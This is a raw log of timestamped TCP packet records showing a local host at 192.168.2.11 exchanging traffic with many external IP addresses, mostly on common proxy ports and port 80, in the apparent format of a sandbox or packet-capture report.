Mar 11, 2024 16:42:19.376936913 CET	50551	80	192.168.2.11	198.44.255.3
Mar 11, 2024 16:42:19.377218962 CET	50790	80	192.168.2.11	104.27.26.29
Mar 11, 2024 16:42:19.377307892 CET	49796	54240	192.168.2.11	200.25.254.193
Mar 11, 2024 16:42:19.379128933 CET	64110	50755	164.92.86.113	192.168.2.11
Mar 11, 2024 16:42:19.379170895 CET	5678	50517	101.95.182.26	192.168.2.11
Mar 11, 2024 16:42:19.379280090 CET	50755	64110	192.168.2.11	164.92.86.113
Mar 11, 2024 16:42:19.379492044 CET	80	50612	50.174.214.219	192.168.2.11
Mar 11, 2024 16:42:19.379528999 CET	44195	50293	162.19.7.56	192.168.2.11
Mar 11, 2024 16:42:19.379555941 CET	50755	64110	192.168.2.11	164.92.86.113
Mar 11, 2024 16:42:19.379575968 CET	26087	50666	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:19.379740000 CET	44195	50293	162.19.7.56	192.168.2.11
Mar 11, 2024 16:42:19.379800081 CET	50293	44195	192.168.2.11	162.19.7.56
Mar 11, 2024 16:42:19.380040884 CET	80	50794	172.67.181.12	192.168.2.11
Mar 11, 2024 16:42:19.380157948 CET	50794	80	192.168.2.11	172.67.181.12
Mar 11, 2024 16:42:19.380207062 CET	50293	44195	192.168.2.11	162.19.7.56
Mar 11, 2024 16:42:19.380244017 CET	31571	50665	72.10.160.170	192.168.2.11
Mar 11, 2024 16:42:19.380450010 CET	50794	80	192.168.2.11	172.67.181.12
Mar 11, 2024 16:42:19.381072998 CET	4153	50546	45.226.0.2	192.168.2.11
Mar 11, 2024 16:42:19.382580042 CET	50848	80	192.168.2.11	50.174.145.14
Mar 11, 2024 16:42:19.382718086 CET	5385	50015	72.10.160.170	192.168.2.11
Mar 11, 2024 16:42:19.382750988 CET	31295	50019	67.43.236.20	192.168.2.11
Mar 11, 2024 16:42:19.383186102 CET	50849	80	192.168.2.11	52.67.10.183
Mar 11, 2024 16:42:19.383225918 CET	50850	999	192.168.2.11	190.211.250.131
Mar 11, 2024 16:42:19.383552074 CET	8888	50542	31.43.158.108	192.168.2.11
Mar 11, 2024 16:42:19.383641005 CET	50542	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:19.383666992 CET	4145	50703	198.8.94.170	192.168.2.11
Mar 11, 2024 16:42:19.383995056 CET	50542	8888	192.168.2.11	31.43.158.108
Mar 11, 2024 16:42:19.384226084 CET	80	50800	104.27.37.131	192.168.2.11
Mar 11, 2024 16:42:19.384371996 CET	50800	80	192.168.2.11	104.27.37.131
Mar 11, 2024 16:42:19.384803057 CET	50800	80	192.168.2.11	104.27.37.131
Mar 11, 2024 16:42:19.384834051 CET	80	50587	104.25.87.42	192.168.2.11
Mar 11, 2024 16:42:19.384846926 CET	80	50587	104.25.87.42	192.168.2.11
Mar 11, 2024 16:42:19.385081053 CET	5484	49907	104.238.111.107	192.168.2.11
Mar 11, 2024 16:42:19.385103941 CET	50587	80	192.168.2.11	104.25.87.42
Mar 11, 2024 16:42:19.385266066 CET	80	50584	185.238.228.202	192.168.2.11
Mar 11, 2024 16:42:19.385278940 CET	80	50584	185.238.228.202	192.168.2.11
Mar 11, 2024 16:42:19.385292053 CET	49907	5484	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:19.385359049 CET	80	50588	104.21.223.181	192.168.2.11
Mar 11, 2024 16:42:19.385518074 CET	80	50588	104.21.223.181	192.168.2.11
Mar 11, 2024 16:42:19.385577917 CET	49907	5484	192.168.2.11	104.238.111.107
Mar 11, 2024 16:42:19.385725021 CET	50584	80	192.168.2.11	185.238.228.202
Mar 11, 2024 16:42:19.385834932 CET	50588	80	192.168.2.11	104.21.223.181
Mar 11, 2024 16:42:19.385938883 CET	80	50587	104.25.87.42	192.168.2.11
Mar 11, 2024 16:42:19.386106968 CET	80	50588	104.21.223.181	192.168.2.11
Mar 11, 2024 16:42:19.386320114 CET	50587	80	192.168.2.11	104.25.87.42
Mar 11, 2024 16:42:19.386321068 CET	50588	80	192.168.2.11	104.21.223.181
Mar 11, 2024 16:42:19.386584997 CET	80	50584	185.238.228.202	192.168.2.11
Mar 11, 2024 16:42:19.386607885 CET	50851	54393	192.168.2.11	45.81.232.17
Mar 11, 2024 16:42:19.386667967 CET	50584	80	192.168.2.11	185.238.228.202
Mar 11, 2024 16:42:19.386749029 CET	34350	50001	66.29.128.246	192.168.2.11
Mar 11, 2024 16:42:19.388705015 CET	50852	46097	192.168.2.11	162.241.46.40
Mar 11, 2024 16:42:19.388923883 CET	80	50752	50.207.199.80	192.168.2.11
Mar 11, 2024 16:42:19.389863014 CET	50853	8080	192.168.2.11	112.78.170.250
Mar 11, 2024 16:42:19.390734911 CET	80	50648	50.173.140.150	192.168.2.11
Mar 11, 2024 16:42:19.391611099 CET	49992	5678	192.168.2.11	178.236.122.164
Mar 11, 2024 16:42:19.391614914 CET	50226	4711	192.168.2.11	67.43.227.227
Mar 11, 2024 16:42:19.391623974 CET	49786	31033	192.168.2.11	67.43.228.253
Mar 11, 2024 16:42:19.391625881 CET	50003	28695	192.168.2.11	92.204.134.38
Mar 11, 2024 16:42:19.391625881 CET	50128	55066	192.168.2.11	167.86.115.103
Mar 11, 2024 16:42:19.391633034 CET	50005	48612	192.168.2.11	191.103.219.225
Mar 11, 2024 16:42:19.391640902 CET	50004	3128	192.168.2.11	51.178.43.147
Mar 11, 2024 16:42:19.392913103 CET	8080	50264	91.202.230.219	192.168.2.11
Mar 11, 2024 16:42:19.392961025 CET	8080	50264	91.202.230.219	192.168.2.11
Mar 11, 2024 16:42:19.393723011 CET	8888	50014	95.164.89.123	192.168.2.11
Mar 11, 2024 16:42:19.393790960 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.394701004 CET	80	50447	172.67.209.12	192.168.2.11
Mar 11, 2024 16:42:19.395153046 CET	50854	8080	192.168.2.11	91.202.230.219
Mar 11, 2024 16:42:19.398605108 CET	80	50750	50.175.212.79	192.168.2.11
Mar 11, 2024 16:42:19.398669004 CET	3933	50021	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:19.399434090 CET	80	50609	104.16.109.207	192.168.2.11
Mar 11, 2024 16:42:19.399625063 CET	80	50609	104.16.109.207	192.168.2.11
Mar 11, 2024 16:42:19.400059938 CET	50609	80	192.168.2.11	104.16.109.207
Mar 11, 2024 16:42:19.400106907 CET	80	50609	104.16.109.207	192.168.2.11
Mar 11, 2024 16:42:19.400650024 CET	50855	28723	192.168.2.11	67.43.227.227
Mar 11, 2024 16:42:19.400788069 CET	50609	80	192.168.2.11	104.16.109.207
Mar 11, 2024 16:42:19.401071072 CET	80	50451	104.20.103.68	192.168.2.11
Mar 11, 2024 16:42:19.401081085 CET	50856	1080	192.168.2.11	188.255.245.205
Mar 11, 2024 16:42:19.401403904 CET	50857	84	192.168.2.11	103.255.145.62
Mar 11, 2024 16:42:19.401581049 CET	50859	8080	192.168.2.11	46.105.35.193
Mar 11, 2024 16:42:19.401580095 CET	50858	9090	192.168.2.11	38.10.69.109
Mar 11, 2024 16:42:19.401863098 CET	50861	80	192.168.2.11	34.75.202.63
Mar 11, 2024 16:42:19.401993990 CET	50860	8080	192.168.2.11	103.69.151.189
Mar 11, 2024 16:42:19.404246092 CET	4145	50431	199.58.185.9	192.168.2.11
Mar 11, 2024 16:42:19.404334068 CET	4145	50431	199.58.185.9	192.168.2.11
Mar 11, 2024 16:42:19.404638052 CET	80	50256	82.64.77.30	192.168.2.11
Mar 11, 2024 16:42:19.405294895 CET	80	50614	58.234.116.197	192.168.2.11
Mar 11, 2024 16:42:19.405603886 CET	50614	80	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.405992985 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.406044960 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.406111956 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.406124115 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.406141996 CET	50862	4145	192.168.2.11	199.58.185.9
Mar 11, 2024 16:42:19.406167030 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.406188965 CET	50323	9123	192.168.2.11	173.249.29.243
Mar 11, 2024 16:42:19.406203985 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.406219959 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.406255007 CET	50614	80	192.168.2.11	58.234.116.197
Mar 11, 2024 16:42:19.406263113 CET	50323	9123	192.168.2.11	173.249.29.243
Mar 11, 2024 16:42:19.406277895 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.406332970 CET	50863	60775	192.168.2.11	51.89.173.40
Mar 11, 2024 16:42:19.406332970 CET	50323	9123	192.168.2.11	173.249.29.243
Mar 11, 2024 16:42:19.406421900 CET	80	50696	50.230.222.202	192.168.2.11
Mar 11, 2024 16:42:19.406495094 CET	9123	50323	173.249.29.243	192.168.2.11
Mar 11, 2024 16:42:19.406753063 CET	50864	21355	192.168.2.11	67.213.212.36
Mar 11, 2024 16:42:19.406796932 CET	50323	9123	192.168.2.11	173.249.29.243
Mar 11, 2024 16:42:19.407244921 CET	49788	32221	192.168.2.11	67.43.228.254
Mar 11, 2024 16:42:19.407246113 CET	50000	16379	192.168.2.11	163.172.165.36
Mar 11, 2024 16:42:19.407246113 CET	50041	16379	192.168.2.11	51.15.142.4
Mar 11, 2024 16:42:19.407246113 CET	50046	4153	192.168.2.11	103.83.105.167
Mar 11, 2024 16:42:19.407248974 CET	50007	24834	192.168.2.11	107.180.88.41
Mar 11, 2024 16:42:19.407259941 CET	50068	5678	192.168.2.11	223.25.98.82
Mar 11, 2024 16:42:19.407259941 CET	50156	80	192.168.2.11	50.170.90.28
Mar 11, 2024 16:42:19.407267094 CET	50013	52017	192.168.2.11	131.0.87.225
Mar 11, 2024 16:42:19.407269955 CET	50009	18374	192.168.2.11	92.205.110.118
Mar 11, 2024 16:42:19.407284975 CET	50008	4153	192.168.2.11	110.74.195.2
Mar 11, 2024 16:42:19.408603907 CET	8888	50460	23.94.123.243	192.168.2.11
Mar 11, 2024 16:42:19.409099102 CET	50865	999	192.168.2.11	38.156.233.77
Mar 11, 2024 16:42:19.409344912 CET	1080	50594	27.0.234.206	192.168.2.11
Mar 11, 2024 16:42:19.409492970 CET	50594	1080	192.168.2.11	27.0.234.206
Mar 11, 2024 16:42:19.409708023 CET	50594	1080	192.168.2.11	27.0.234.206
Mar 11, 2024 16:42:19.409739017 CET	80	50795	50.207.199.87	192.168.2.11
Mar 11, 2024 16:42:19.410674095 CET	50866	8080	192.168.2.11	177.128.212.190
Mar 11, 2024 16:42:19.411463976 CET	4145	50667	174.64.199.82	192.168.2.11
Mar 11, 2024 16:42:19.411535025 CET	50867	4145	192.168.2.11	82.137.244.59
Mar 11, 2024 16:42:19.411907911 CET	50667	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:19.412359953 CET	50667	4145	192.168.2.11	174.64.199.82
Mar 11, 2024 16:42:19.412645102 CET	4145	50670	24.249.199.4	192.168.2.11
Mar 11, 2024 16:42:19.412669897 CET	50868	8080	192.168.2.11	125.209.88.46
Mar 11, 2024 16:42:19.412698030 CET	4145	50436	184.178.172.3	192.168.2.11
Mar 11, 2024 16:42:19.412723064 CET	50670	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:19.412873983 CET	4145	50436	184.178.172.3	192.168.2.11
Mar 11, 2024 16:42:19.413043976 CET	50670	4145	192.168.2.11	24.249.199.4
Mar 11, 2024 16:42:19.413121939 CET	4145	50775	74.119.147.209	192.168.2.11
Mar 11, 2024 16:42:19.413264990 CET	13087	50714	67.43.236.18	192.168.2.11
Mar 11, 2024 16:42:19.413304090 CET	3128	50623	155.185.15.56	192.168.2.11
Mar 11, 2024 16:42:19.413506031 CET	3129	50126	45.134.80.222	192.168.2.11
Mar 11, 2024 16:42:19.413866043 CET	4145	50668	174.75.211.222	192.168.2.11
Mar 11, 2024 16:42:19.414442062 CET	50869	4145	192.168.2.11	184.178.172.3
Mar 11, 2024 16:42:19.414532900 CET	50668	4145	192.168.2.11	174.75.211.222
Mar 11, 2024 16:42:19.414779902 CET	50668	4145	192.168.2.11	174.75.211.222
Mar 11, 2024 16:42:19.415421963 CET	1080	50573	140.250.150.56	192.168.2.11
Mar 11, 2024 16:42:19.415828943 CET	80	50462	104.16.105.142	192.168.2.11
Mar 11, 2024 16:42:19.415870905 CET	4145	50671	68.1.210.163	192.168.2.11
Mar 11, 2024 16:42:19.415885925 CET	10677	50719	72.10.160.173	192.168.2.11
Mar 11, 2024 16:42:19.415992975 CET	50671	4145	192.168.2.11	68.1.210.163
Mar 11, 2024 16:42:19.416641951 CET	50671	4145	192.168.2.11	68.1.210.163
Mar 11, 2024 16:42:19.416644096 CET	50870	1080	192.168.2.11	167.249.254.70
Mar 11, 2024 16:42:19.417412043 CET	50871	8080	192.168.2.11	188.132.222.167
Mar 11, 2024 16:42:19.418304920 CET	4145	50807	192.111.134.10	192.168.2.11
Mar 11, 2024 16:42:19.418534994 CET	44607	49722	162.241.6.97	192.168.2.11
Mar 11, 2024 16:42:19.418782949 CET	15673	49934	43.131.245.216	192.168.2.11
Mar 11, 2024 16:42:19.418792963 CET	50872	5931	192.168.2.11	72.10.164.178
Mar 11, 2024 16:42:19.419182062 CET	80	49947	50.170.90.24	192.168.2.11
Mar 11, 2024 16:42:19.419855118 CET	50873	3128	192.168.2.11	5.189.158.162
Mar 11, 2024 16:42:19.420222998 CET	80	49977	50.172.75.125	192.168.2.11
Mar 11, 2024 16:42:19.420783043 CET	9999	50453	113.195.224.222	192.168.2.11
Mar 11, 2024 16:42:19.421884060 CET	50874	80	192.168.2.11	174.126.217.110
Mar 11, 2024 16:42:19.422719955 CET	80	50017	50.168.210.239	192.168.2.11
Mar 11, 2024 16:42:19.422871113 CET	50020	3127	192.168.2.11	59.92.70.176
Mar 11, 2024 16:42:19.423914909 CET	4145	50811	142.54.232.6	192.168.2.11
Mar 11, 2024 16:42:19.424420118 CET	80	50471	104.24.35.152	192.168.2.11
Mar 11, 2024 16:42:19.425067902 CET	80	50655	104.16.108.42	192.168.2.11
Mar 11, 2024 16:42:19.425131083 CET	80	50655	104.16.108.42	192.168.2.11
Mar 11, 2024 16:42:19.425570011 CET	11339	50743	67.43.228.251	192.168.2.11
Mar 11, 2024 16:42:19.425730944 CET	80	50655	104.16.108.42	192.168.2.11
Mar 11, 2024 16:42:19.425755978 CET	50655	80	192.168.2.11	104.16.108.42
Mar 11, 2024 16:42:19.425811052 CET	50655	80	192.168.2.11	104.16.108.42
Mar 11, 2024 16:42:19.425901890 CET	8083	50567	185.132.242.212	192.168.2.11
Mar 11, 2024 16:42:19.425988913 CET	50567	8083	192.168.2.11	185.132.242.212
Mar 11, 2024 16:42:19.427572966 CET	50567	8083	192.168.2.11	185.132.242.212
Mar 11, 2024 16:42:19.427722931 CET	50875	4145	192.168.2.11	177.125.206.40
Mar 11, 2024 16:42:19.428076029 CET	50876	80	192.168.2.11	89.36.114.38
Mar 11, 2024 16:42:19.428639889 CET	50877	998	192.168.2.11	181.78.85.45
Mar 11, 2024 16:42:19.428900003 CET	50878	8000	192.168.2.11	128.199.184.169
Mar 11, 2024 16:42:19.429146051 CET	26087	50033	67.43.228.251	192.168.2.11
Mar 11, 2024 16:42:19.429272890 CET	58386	49847	5.44.42.115	192.168.2.11
Mar 11, 2024 16:42:19.430210114 CET	4145	49885	184.178.172.14	192.168.2.11
Mar 11, 2024 16:42:19.430298090 CET	49885	4145	192.168.2.11	184.178.172.14
Mar 11, 2024 16:42:19.430737019 CET	49885	4145	192.168.2.11	184.178.172.14
Mar 11, 2024 16:42:19.431061029 CET	23685	50756	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:19.431205988 CET	80	49971	52.196.1.182	192.168.2.11
Mar 11, 2024 16:42:19.431363106 CET	8000	50052	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:19.431404114 CET	8000	50052	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:19.431840897 CET	3128	50593	120.24.52.179	192.168.2.11
Mar 11, 2024 16:42:19.432709932 CET	50879	10049	192.168.2.11	67.43.227.227
Mar 11, 2024 16:42:19.434859037 CET	4145	50706	72.210.221.223	192.168.2.11
Mar 11, 2024 16:42:19.435034990 CET	50706	4145	192.168.2.11	72.210.221.223
Mar 11, 2024 16:42:19.435240030 CET	50706	4145	192.168.2.11	72.210.221.223
Mar 11, 2024 16:42:19.436155081 CET	80	50328	54.152.3.36	192.168.2.11
Mar 11, 2024 16:42:19.436167955 CET	80	50328	54.152.3.36	192.168.2.11
Mar 11, 2024 16:42:19.436250925 CET	80	50328	54.152.3.36	192.168.2.11
Mar 11, 2024 16:42:19.436275959 CET	50328	80	192.168.2.11	54.152.3.36
Mar 11, 2024 16:42:19.438049078 CET	80	50321	186.124.164.213	192.168.2.11
Mar 11, 2024 16:42:19.438435078 CET	9125	50645	178.253.201.11	192.168.2.11
Mar 11, 2024 16:42:19.438474894 CET	80	50321	186.124.164.213	192.168.2.11
Mar 11, 2024 16:42:19.438493013 CET	50018	1080	192.168.2.11	139.255.132.68
Mar 11, 2024 16:42:19.438496113 CET	50268	80	192.168.2.11	12.176.231.147
Mar 11, 2024 16:42:19.438512087 CET	50024	80	192.168.2.11	45.224.247.102
Mar 11, 2024 16:42:19.438514948 CET	50029	57391	192.168.2.11	164.92.86.113
Mar 11, 2024 16:42:19.438514948 CET	50030	999	192.168.2.11	200.52.148.10
Mar 11, 2024 16:42:19.438522100 CET	50028	16379	192.168.2.11	51.158.64.130
Mar 11, 2024 16:42:19.438522100 CET	50310	4145	192.168.2.11	142.54.229.249
Mar 11, 2024 16:42:19.438525915 CET	50302	80	192.168.2.11	50.231.104.58
Mar 11, 2024 16:42:19.438527107 CET	50204	42331	192.168.2.11	206.189.9.30
Mar 11, 2024 16:42:19.439511061 CET	50880	80	192.168.2.11	186.124.164.213
Mar 11, 2024 16:42:19.439799070 CET	8443	50596	27.254.123.203	192.168.2.11
Mar 11, 2024 16:42:19.439894915 CET	50328	80	192.168.2.11	54.152.3.36
Mar 11, 2024 16:42:19.440491915 CET	50881	80	192.168.2.11	47.242.234.237
Mar 11, 2024 16:42:19.440695047 CET	50883	80	192.168.2.11	50.168.72.122
Mar 11, 2024 16:42:19.440988064 CET	50882	8080	192.168.2.11	159.192.138.170
Mar 11, 2024 16:42:19.442640066 CET	5369	50771	72.10.160.171	192.168.2.11
Mar 11, 2024 16:42:19.442806959 CET	4153	50314	212.31.100.138	192.168.2.11
Mar 11, 2024 16:42:19.443165064 CET	4153	50314	212.31.100.138	192.168.2.11
Mar 11, 2024 16:42:19.444103956 CET	4145	50710	72.195.34.41	192.168.2.11
Mar 11, 2024 16:42:19.444231033 CET	50710	4145	192.168.2.11	72.195.34.41
Mar 11, 2024 16:42:19.445298910 CET	50710	4145	192.168.2.11	72.195.34.41
Mar 11, 2024 16:42:19.445303917 CET	3128	50170	41.223.232.117	192.168.2.11
Mar 11, 2024 16:42:19.445319891 CET	80	50114	50.145.6.36	192.168.2.11
Mar 11, 2024 16:42:19.445398092 CET	50884	4153	192.168.2.11	212.31.100.138
Mar 11, 2024 16:42:19.446552038 CET	15673	50536	23.95.209.142	192.168.2.11
Mar 11, 2024 16:42:19.446847916 CET	15673	50536	23.95.209.142	192.168.2.11
Mar 11, 2024 16:42:19.446897030 CET	8000	50657	14.103.24.20	192.168.2.11
Mar 11, 2024 16:42:19.446994066 CET	50657	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:19.447519064 CET	50657	8000	192.168.2.11	14.103.24.20
Mar 11, 2024 16:42:19.447966099 CET	50886	58851	192.168.2.11	85.25.177.53
Mar 11, 2024 16:42:19.447967052 CET	50885	15673	192.168.2.11	23.95.209.142
Mar 11, 2024 16:42:19.448713064 CET	50887	9191	192.168.2.11	51.83.184.241
Mar 11, 2024 16:42:19.449074030 CET	15673	50820	198.23.229.203	192.168.2.11
Mar 11, 2024 16:42:19.449412107 CET	50820	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:19.449594021 CET	50820	15673	192.168.2.11	198.23.229.203
Mar 11, 2024 16:42:19.451008081 CET	8080	50478	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.452883959 CET	50888	4145	192.168.2.11	101.109.251.42
Mar 11, 2024 16:42:19.453383923 CET	50889	8085	192.168.2.11	103.105.55.170
Mar 11, 2024 16:42:19.453393936 CET	5678	49881	176.119.227.65	192.168.2.11
Mar 11, 2024 16:42:19.453855991 CET	50890	8080	192.168.2.11	84.241.8.234
Mar 11, 2024 16:42:19.454113007 CET	50025	8000	192.168.2.11	14.103.24.148
Mar 11, 2024 16:42:19.454116106 CET	50256	80	192.168.2.11	82.64.77.30
Mar 11, 2024 16:42:19.454123020 CET	50026	7777	192.168.2.11	111.8.155.54
Mar 11, 2024 16:42:19.454123020 CET	50022	3030	192.168.2.11	158.247.207.153
Mar 11, 2024 16:42:19.454123020 CET	50027	8088	192.168.2.11	179.43.8.16
Mar 11, 2024 16:42:19.454123020 CET	50225	5096	192.168.2.11	165.154.227.154
Mar 11, 2024 16:42:19.454128981 CET	50031	19058	192.168.2.11	195.154.43.184
Mar 11, 2024 16:42:19.454130888 CET	50034	3128	192.168.2.11	103.231.248.98
Mar 11, 2024 16:42:19.454149961 CET	9764	50802	162.243.102.207	192.168.2.11
Mar 11, 2024 16:42:19.454353094 CET	50802	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:19.455760956 CET	50802	9764	192.168.2.11	162.243.102.207
Mar 11, 2024 16:42:19.455938101 CET	80	50685	50.174.214.222	192.168.2.11
Mar 11, 2024 16:42:19.460176945 CET	50892	9080	192.168.2.11	38.54.95.19
Mar 11, 2024 16:42:19.460387945 CET	50891	9000	192.168.2.11	122.116.150.2
Mar 11, 2024 16:42:19.460520029 CET	15082	49724	45.77.111.135	192.168.2.11
Mar 11, 2024 16:42:19.461802006 CET	1080	50249	54.212.22.168	192.168.2.11
Mar 11, 2024 16:42:19.461916924 CET	80	50770	50.168.163.180	192.168.2.11
Mar 11, 2024 16:42:19.461961985 CET	3629	49843	178.158.197.147	192.168.2.11
Mar 11, 2024 16:42:19.463577032 CET	4145	50539	199.102.107.145	192.168.2.11
Mar 11, 2024 16:42:19.463829041 CET	4145	50539	199.102.107.145	192.168.2.11
Mar 11, 2024 16:42:19.464592934 CET	50245	5678	192.168.2.11	191.97.2.198
Mar 11, 2024 16:42:19.464667082 CET	50032	42581	192.168.2.11	207.180.198.241
Mar 11, 2024 16:42:19.464699984 CET	3128	50602	185.191.236.162	192.168.2.11
Mar 11, 2024 16:42:19.464762926 CET	50602	3128	192.168.2.11	185.191.236.162
Mar 11, 2024 16:42:19.464771986 CET	80	50486	104.27.83.183	192.168.2.11
Mar 11, 2024 16:42:19.465430975 CET	50602	3128	192.168.2.11	185.191.236.162
Mar 11, 2024 16:42:19.469193935 CET	8193	50409	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:19.469265938 CET	8193	50409	211.222.252.187	192.168.2.11
Mar 11, 2024 16:42:19.469280005 CET	50409	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:19.469734907 CET	50037	11070	192.168.2.11	147.124.212.31
Mar 11, 2024 16:42:19.469763994 CET	49735	33590	192.168.2.11	85.120.30.66
Mar 11, 2024 16:42:19.469763994 CET	50044	9064	192.168.2.11	172.104.145.22
Mar 11, 2024 16:42:19.469763994 CET	50049	999	192.168.2.11	167.249.29.218
Mar 11, 2024 16:42:19.469769955 CET	50050	16823	192.168.2.11	167.86.102.169
Mar 11, 2024 16:42:19.469769955 CET	50101	4153	192.168.2.11	203.76.117.74
Mar 11, 2024 16:42:19.469846964 CET	50035	83	192.168.2.11	103.159.46.2
Mar 11, 2024 16:42:19.469846964 CET	50036	25847	192.168.2.11	62.171.131.101
Mar 11, 2024 16:42:19.469847918 CET	50045	3128	192.168.2.11	113.100.209.184
Mar 11, 2024 16:42:19.469846964 CET	50047	80	192.168.2.11	103.96.38.161
Mar 11, 2024 16:42:19.469849110 CET	50043	27262	192.168.2.11	162.144.121.232
Mar 11, 2024 16:42:19.472012997 CET	80	50677	172.67.181.97	192.168.2.11
Mar 11, 2024 16:42:19.472027063 CET	80	50677	172.67.181.97	192.168.2.11
Mar 11, 2024 16:42:19.472103119 CET	80	50677	172.67.181.97	192.168.2.11
Mar 11, 2024 16:42:19.472328901 CET	50677	80	192.168.2.11	172.67.181.97
Mar 11, 2024 16:42:19.473571062 CET	3128	50203	13.208.168.179	192.168.2.11
Mar 11, 2024 16:42:19.474760056 CET	8080	50695	51.145.176.250	192.168.2.11
Mar 11, 2024 16:42:19.474929094 CET	50695	8080	192.168.2.11	51.145.176.250
Mar 11, 2024 16:42:19.476460934 CET	47354	50753	67.213.212.49	192.168.2.11
Mar 11, 2024 16:42:19.476869106 CET	80	50686	104.25.42.178	192.168.2.11
Mar 11, 2024 16:42:19.476919889 CET	80	50686	104.25.42.178	192.168.2.11
Mar 11, 2024 16:42:19.477066040 CET	80	50686	104.25.42.178	192.168.2.11
Mar 11, 2024 16:42:19.477314949 CET	50686	80	192.168.2.11	104.25.42.178
Mar 11, 2024 16:42:19.478732109 CET	8080	50378	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:19.480395079 CET	8080	50378	20.37.207.8	192.168.2.11
Mar 11, 2024 16:42:19.481393099 CET	80	50694	104.19.225.70	192.168.2.11
Mar 11, 2024 16:42:19.481409073 CET	80	50694	104.19.225.70	192.168.2.11
Mar 11, 2024 16:42:19.481641054 CET	80	50694	104.19.225.70	192.168.2.11
Mar 11, 2024 16:42:19.482192993 CET	50893	64742	192.168.2.11	72.167.221.157
Mar 11, 2024 16:42:19.482230902 CET	50694	80	192.168.2.11	104.19.225.70
Mar 11, 2024 16:42:19.483369112 CET	4153	50575	185.22.31.227	192.168.2.11
Mar 11, 2024 16:42:19.483402014 CET	50894	35158	192.168.2.11	103.245.205.33
Mar 11, 2024 16:42:19.484611988 CET	50895	8180	192.168.2.11	194.213.208.226
Mar 11, 2024 16:42:19.485213995 CET	9375	49717	92.204.134.38	192.168.2.11
Mar 11, 2024 16:42:19.485368013 CET	49971	80	192.168.2.11	52.196.1.182
Mar 11, 2024 16:42:19.485372066 CET	50262	3128	192.168.2.11	103.35.189.217
Mar 11, 2024 16:42:19.485388994 CET	49817	26315	192.168.2.11	72.10.160.171
Mar 11, 2024 16:42:19.485388994 CET	50242	80	192.168.2.11	141.147.33.121
Mar 11, 2024 16:42:19.485395908 CET	50056	8080	192.168.2.11	103.77.50.168
Mar 11, 2024 16:42:19.485397100 CET	50053	4153	192.168.2.11	202.166.219.80
Mar 11, 2024 16:42:19.485496044 CET	49833	55019	192.168.2.11	92.204.135.37
Mar 11, 2024 16:42:19.485496044 CET	50057	5678	192.168.2.11	58.84.32.118
Mar 11, 2024 16:42:19.485511065 CET	50055	6014	192.168.2.11	45.11.95.166
Mar 11, 2024 16:42:19.485564947 CET	50248	80	192.168.2.11	50.217.226.44
Mar 11, 2024 16:42:19.485735893 CET	4145	50598	103.66.233.161	192.168.2.11
Mar 11, 2024 16:42:19.486110926 CET	50598	4145	192.168.2.11	103.66.233.161
Mar 11, 2024 16:42:19.486202955 CET	4145	49946	36.90.61.224	192.168.2.11
Mar 11, 2024 16:42:19.487960100 CET	3128	50543	23.152.40.14	192.168.2.11
Mar 11, 2024 16:42:19.487986088 CET	50677	80	192.168.2.11	172.67.181.97
Mar 11, 2024 16:42:19.488401890 CET	50686	80	192.168.2.11	104.25.42.178
Mar 11, 2024 16:42:19.488403082 CET	50695	8080	192.168.2.11	51.145.176.250
Mar 11, 2024 16:42:19.488630056 CET	8080	50478	66.225.246.238	192.168.2.11
Mar 11, 2024 16:42:19.488651037 CET	50378	8080	192.168.2.11	20.37.207.8
Mar 11, 2024 16:42:19.488670111 CET	14921	50131	192.252.211.197	192.168.2.11
Mar 11, 2024 16:42:19.488799095 CET	50694	80	192.168.2.11	104.19.225.70
Mar 11, 2024 16:42:19.488878965 CET	50598	4145	192.168.2.11	103.66.233.161
Mar 11, 2024 16:42:19.489269972 CET	8080	50818	177.229.210.50	192.168.2.11
Mar 11, 2024 16:42:19.490380049 CET	50409	8193	192.168.2.11	211.222.252.187
Mar 11, 2024 16:42:19.490735054 CET	17893	50104	72.10.160.90	192.168.2.11
Mar 11, 2024 16:42:19.491465092 CET	12334	50550	194.4.50.62	192.168.2.11
Mar 11, 2024 16:42:19.491643906 CET	7853	50098	67.43.228.253	192.168.2.11
Mar 11, 2024 16:42:19.491817951 CET	12334	50550	194.4.50.62	192.168.2.11
Mar 11, 2024 16:42:19.491866112 CET	50550	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:19.492013931 CET	3128	50691	52.67.10.183	192.168.2.11
Mar 11, 2024 16:42:19.492122889 CET	50691	3128	192.168.2.11	52.67.10.183
Mar 11, 2024 16:42:19.492294073 CET	37355	49993	167.172.109.12	192.168.2.11
Mar 11, 2024 16:42:19.492482901 CET	50550	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:19.492840052 CET	50203	3128	192.168.2.11	13.208.168.179
Mar 11, 2024 16:42:19.492840052 CET	50691	3128	192.168.2.11	52.67.10.183
Mar 11, 2024 16:42:19.493315935 CET	50896	12334	192.168.2.11	194.4.50.62
Mar 11, 2024 16:42:19.493874073 CET	50897	4145	192.168.2.11	199.102.107.145
